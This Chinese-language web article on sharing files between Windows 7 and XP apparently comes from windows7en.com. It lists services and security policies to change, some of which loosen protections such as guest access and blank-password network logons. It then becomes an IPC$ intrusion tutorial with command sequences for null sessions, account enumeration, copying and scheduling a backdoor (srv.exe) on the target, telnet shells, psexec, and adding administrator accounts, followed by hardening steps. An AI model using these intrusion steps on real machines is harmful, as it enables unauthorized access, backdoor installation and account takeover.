WIN7系统的网络功能比XP有了进一步的增强,使用起来也相对清晰。但是由于做了很多表面优化的工作,使得底层的网络设置对于习惯了XP系统的人来说变得很不适应,其中局域网组建就是一个很大的问题。默认安装系统后不但同组内的WIN7系统互相不能共享访问,而且最头疼的问题是组内的XP系统计算机更难互访。windows7en.com针对这个问题,从网络上收集了一些这方面的资料,结合自己在调试过程中的情况,通过以下步骤基本能够解决XP与WIN7局域网共享设置的问题。不到之处请网友谅解指正。

一:必要点

  1. 需要是管理员权限的帐户
  2. 所有入网的计算机都要在相同的IP段,比如都为192.168.1.X(2≤X≤255)
  3. 所有入网的计算机都要在相同的工作组,比如都在WORKGROUP组
  4. 所有入网的计算机都要开启来宾账户,默认账户名为:guest。
  5. 关闭任何第三方的防火墙软件,或者进行一些相关设置(很重要)。Windows自带的防火墙。如果没有把它关闭的话,也需要进行一些设置才可以。打开Windows防火墙---例外---勾选 文件和打印机共享---确定---保存。 XP系统,在 常规 选项卡中,要去掉不允许例外 前面的勾。
  6. 所有入网的计算机的操作系统必须有正确的权限设置(这是重点)
  7. XP,是指Windows XP Professional 版本。其中所述的部分方法,并不适用于Windows XP Home Edition。
  8. WIN7,是指Windows 7。不同版本的WIN7可能存在一定的差异。如果你用的是Home Basic版本,就不要再往下看了,因为Home Basic不提供文件共享功能。。

二:必须开启的服务

右键点击我的电脑 或计算机—管理----服务和应用程序,打开服务或者用WIN+R打开 运行---输入services.msc回车,打开服务设置

将以下服务的[启动类型]选为[自动],并确保[服务状态]为[已启动]

Server

Workstation

Computer Browser

DHCP Client

Remote Procedure Call

Remote Procedure Call (RPC) Locator

Function Discovery Resource Publication

UPnP Device Host

SSDP Discovery

TCP/IP NetBIOS Helper

//这个很重要,其他的条件即使都满足了,没有这个也不行。
  

三:基本设置

A: XP系统:

下载XP局域网一键共享,按里边的操作设置后,重启即可。

XP系统文件共享:右键单击要共享的文件夹,选择[共享和安全],勾选 在网络上共享这个文件夹。

B:Win7系统:

  1. 网络和共享中心---点击 网络 右边的 自定义---将网络类型设置为 专用网络
  2. 共享和发现---启用 网络发现、文件共享、打印机共享。密码保护的共享则可以设置为关闭。
  3. 跨操作系统的打印机共享涉及到驱动的问题,为了避免麻烦,建议不要跨操作系统共享打印机。
  4. 访问策略设置

用WIN+R打开 运行---输入secpol.msc回车,打开本地安全设置

安全设置----本地策略----安全选项

帐户: 使用空白密码的本地帐户只允许进行控制台登录,设置为 已禁用。

此选项默认为 已启用。这是很关键的一步,因为很多人的电脑都是没有加密码的的。如果你当前使用的帐号没有密码的话,只允许控制台登录,就无法通过 网上邻居(XP)或网络(Vista)来访问了。所以此处需要禁用。

网络访问: 不允许 SAM 帐户和共享的匿名枚举] ,设置为 已禁用。

此选项默认为 已禁用。Windows 允许匿名用户执行某些活动,如枚举域帐户和网络共享的名称。这提供了方便,也带来潜在的风险。有的版本的系统(比如GhostXP电脑公司版)为了安全起见,将其设置为启用,但这样一来,局域网其它电脑就会无法查看你共享的内容了。

网络访问: 本地帐户的共享和安全模型,设置为 仅来宾。

此选项对加入了域的计算机默认为[经典],对独立的计算机默认为[仅来宾]。

这是一个共享安全的辅助选项。小规模局域网内部的计算机彼此之间都是信任的,不存在非法访问的问题,为了方便起见,建议使用 仅来宾 方式。而使用 经典 模式可以更好地划定共享资源的访问权限,对于规模稍大的局域网,为了防止共享的资源被非法访问,就可以使用这种方式。

安全设置---本地策略---用户权利指派

从网络访问此计算机: 查看有没有本机来宾帐户即guest,如果没有就加上。

拒绝从网络访问这台计算机:查看有没有本机来宾帐户名,如果有就删除。

  1. Win7系统文件共享设置

文件夹右键---共享---选择要与其共享的用户---点击黑色的小三角箭头---在下拉菜单中选择---everyone(这个列表中的所有用户)。

注意:在进行以上设置之前共享过的文件夹,可能需要重新共享后才能被正常访问。比如说以前使用 经典 模式共享了该文件夹,改为 仅来宾 模式后再访问就会出错,提示没权限。解决的办法就是先取消共享,再重新共享。

———————————————————————————————————————
  
ps:防火墙没必要关闭,毕竟开方共享不是开放黑客!安全依然重要,在享有共享的时候,不能丢弃安全。

防火墙只要设定开放端口139和445的TCP口,还有137和138的UDP口就可以了。

另外,在服务中,确保TCP/IP NetBIOSHelper服务是自动的没错,但是并不等于这个功能在WINS下启用了,必须还得到网卡的TCP/IP设置里,WINS里面打开TCP/IP上的NETBIOS启用勾勾,这才能真正生效!没这玩艺,就算前面所有工作都做到家了,还是不容易通!就算偶尔通了,也是暂时通,时而通时而不通,通通断断、断断通!只要这个小勾勾打上,就能稳稳地通!

另外再补充

对于刚刚玩共享的人,有时会找不到该开什么窗口该按哪个钮才能看到对方,WIN7和XP还有蛮大的区别。

XP下,一切设置好了,是点网上邻居进去的,或我的电脑文件夹里左边的按钮中,也有网上邻居。不过因为各种复杂的原因,并不是每个XP电脑都能在这里看到共享的WIN7电脑,概率只有50%,原因非常复杂,若没看到,可以点网上邻居左边的查看”工作组计算机“,如果WIN7端设定好的话,那一定会在”工作组计算机“中列出,然后就可以进行操作了。

WIN7下,很多很多人会直接去点家庭网络的自动发现按钮,玩命地点,结果只有一个,”未找到共享计算机“,这种事情我碰到不少了,别往这方向努力了,这是给WIN7和WIN7之间家庭内网搞的按钮,就算两个WIN7都未必能通,白费力!

真正顶用的,直接点开桌面的”计算机“文件夹,左边的一排按钮里就有”网络“二字,直接点这玩艺儿,一切共享的机机统统跑出来。

三、其他

I.服务配置

运行——》services.msc

  1. 启用网络发现和文件共享

找到“Function Discovery Resource Publication”服务;右击打开【属性窗口】,把它设置成启动状态。

以同样的方法,分别启动 SSDP Discovery, UPnP Device Host这两个服务。

再次打开网络中心,已经可以启用网络发现和文件共享。

  1. 启动文件和打印机共享

找到server和worksation两个服务,分别启动并选择为自动——即可

策略配置

用WIN+R打开 运行---输入secpol.msc或者gpedit.msc回车,打开本地安全设置

启用Guest账号

II.使用net use命令解析网络映像

登陆DOS提示符窗口,如果忘记登陆net use提示符下的命令,可使用net use /? 查看

使用net use命令创建网络映像

net use \\192.168.41.21\i$ password /user:administrator 

如需创建网络映像驱动盘,可以在net use后增加指定盘符

net use z: \\192.168.41.21\i$ password /user:administrator 

设置成功后查看网络映像信息(net use)

删除网络映像地址,net use IP地址 /delete

如果网络映像地址过多,需要全部删除,请使用net use * /del命令,回车后,会提示是否全部删除,按Y,全部删除,按N,取消

III.空连接

使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。

从一次完整的 ipc$ 入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到用户列表.

以下是空会话中能够使用的一些具体命令:

  1. 首先,我们先建立一个空会话(当然,这需要目标开放 ipc$)
net use(此处需要一个空格,后面也是一样)\\ip\ipc$"" /user:"" (注:前边引号“”内为空密码,后边user:""引号中为空用户名)

注意:上面的命令包括四个空格, net 与 use 中间有一个空格, use 后面一个,密码左右各一个空格。

  1. 查看远程主机的共享资源
net view \\ip

解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。

  1. 查看远程主机的当前时间
net time \\ip

解释:用此命令可以得到一个远程主机的当前时间。

  1. 得到远程主机的 NetBIOS 用户名列表(需要打开自己的 NBT)
nbtstat -A ip

用此命令可以得到一个远程主机的 NetBIOS 用户名列表

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立 IPC$ 连接的操作会在 Event Log 中留下记录,不管你是否登录成功。 好了,那么接下来我们就来看看 ipc$ 所使用的端口是什么?

首先我们来了解一些基础知识:

  1. SMB:(Server Message Block) Windows 协议族,用于文件打印共享的服务;
  2. NBT:(NETBios Over TCP/IP) 使用 137(UDP) 138(UDP) 139(TCP)端口实现基于 TCP/IP 协议的 NETBIOS网络互联。
  3. 在 WindowsNT 中 SMB 基于 NBT 实现,即使用 139 (TCP)端口;而在 Windows2000 中, SMB 除了基于 NBT 实现,还可以直接通过 445 端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了

连接失败的原因可以根据返回的错误号分析:

错误号 5 ,拒绝访问:很可能你使用的用户不是管理员权限的;

错误号 51 , Windows 无法找到网络路径:网络有问题;

错误号 53 ,找不到网络路径: ip 地址错误;目标未开机;目标 lanmanserver(显示名为: Server)服务未启动;目标有防火墙(端口过滤);

错误号 67 ,找不到网络名:你的 lanmanworkstation(显示名为: Workstation)服务未启动或者目标删除了 ipc$ ;

错误号 1219 ,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$ ,请删除再连;

错误号 1326 ,未知的用户名或错误密码:原因很明显了;

错误号 1792 ,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动;

错误号 2242 ,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

远程添加计划任务 :
at \\IP时间 程序名 如:
at \\127.0.0.011:00 xinxin.exe
注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径


本地命令
1)查看本地主机的共享资源(可以看到本地的默认共享)
net share
2)得到本地主机的用户列表
net user
3)显示本地某用户的帐户信息
net user帐户名
4)显示本地主机当前启动的服务
net start
5)启动 / 关闭本地服务
net start 服务名
net stop 服务名
6)在本地添加帐户
net user帐户名密码 /add
7)激活禁用的用户
net uesr 帐户名/active:yes
8)加入管理员组
net localgroup administrators帐户名/add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
对比过去和现今的 ipc$ 入侵
既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤:
[1]
C:\>net use \\127.0.0.1\ipc$"" /user:admintitrators
\\ 用扫到的空口令建立连接
[2]
c:\>net view \\127.0.0.1
\\ 查看远程的共享资源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启
[4]
C:\>net time \\127.0.0.1
\\ 查看远程主机的当前时间
[5]
C:\>at \\127.0.0.1时间 srv.exe
\\ 用 at 命令远程运行 srv.exe ,需要对方开启了 'Task Scheduler' 服务
[6]
C:\>net time \\127.0.0.1
\\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略
[7]
C:\>telnet 127.0.0.1 99
\\ 开一个新窗口,用 telnet远程登陆到 127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就好了,操作像 DOS) , 99 端口是 srv.exe 开的一次性后门的端口
[8]
C:\WINNT\system32>net start telnet
\\ 我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的 telnet 已经启动,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet身份验证的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门
[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet上以后,你可以建立新帐户,激活 guest ,把任何帐户加入管理员组等
好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令已经不常用到了,那就让我们看看高效而简单的 ipc$ 入侵吧。
[1] psexec.exe \\IP-u 管理员帐号 -p 密码 cmd
\\ 用这个工具我们可以一步到位的获得 shell
OpenTelnet.exe \\server管理员帐号 密码 NTLM 的认证方式 port
\\ 用它可以方便的更改 telnet 的验证方式和端口,方便我们登陆
[2] 已经没有第二步了,用一步获得 shell 之后,你做什么都可以了,安后门可以用 winshell ,克隆就用 ca 吧,开终端用 3389.vbe ,记录密码用 win2kpass ,总之好的工具不少,随你选了,我就不多说了。
防范入侵
1. 禁止空连接进行枚举 ( 此操作并不能阻止空连接的建立 )
运行 regedit ,找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的键值改为: 1
如果设置为 "1" ,一个匿名用户仍然可以连接到 IPC$ 共享,但无法通过这种连接得到列举 SAM 帐号和共享信息的权限;在 Windows 2000 中增加了 "2" ,未取得匿名权的用户将不能进行 ipc$ 空连接。建议设置为 1 。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项- ' 对匿名连接的额外限制 '
2. 禁止默认共享
1)察看本地共享资源
运行 -cmd- 输入 net share
2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (如果有 e,f, ……可以继续删除)
3)停止 server 服务
net stop server /y (重新启动后 server 服务会重新开启)
4)禁止自动打开默认共享(此操作并不能关闭 ipc$ 共享)
运行 -regedit
server 版与pro 版 : 找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareServer ( DWORD )的键值改为 :00000000 。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。
3. 关闭 ipc$ 和默认共享依赖的服务 :server 服务
如果你真的想关闭 ipc$ 共享,那就禁止 server 服务吧:
控制面板- 管理工具 - 服务 - 找到 server 服务(右击) - 属性 - 常规 - 启动类型 - 选已禁用,这时可能会有提示说: XXX 服务也会关闭是否继续,因为还有些次要的服务要依赖于 server 服务,不要管它。
4. 屏蔽 139 , 445 端口
由于没有以上两个端口的支持,是无法建立 ipc$ 的,因此屏蔽 139 , 445 端口同样可以阻止 ipc$ 入侵。
1) 139 端口可以通过禁止 NBT 来屏蔽
本地连接- TCP/IT 属性-高级- WINS -选‘禁用 TCP/IT 上的 NETBIOS '一项
2) 445 端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
注意:如果屏蔽掉了以上两个端口,你将无法用 ipc$ 入侵别人。
3)安装防火墙进行端口过滤
5.设置复杂密码,防止通过 ipc$ 穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全的多。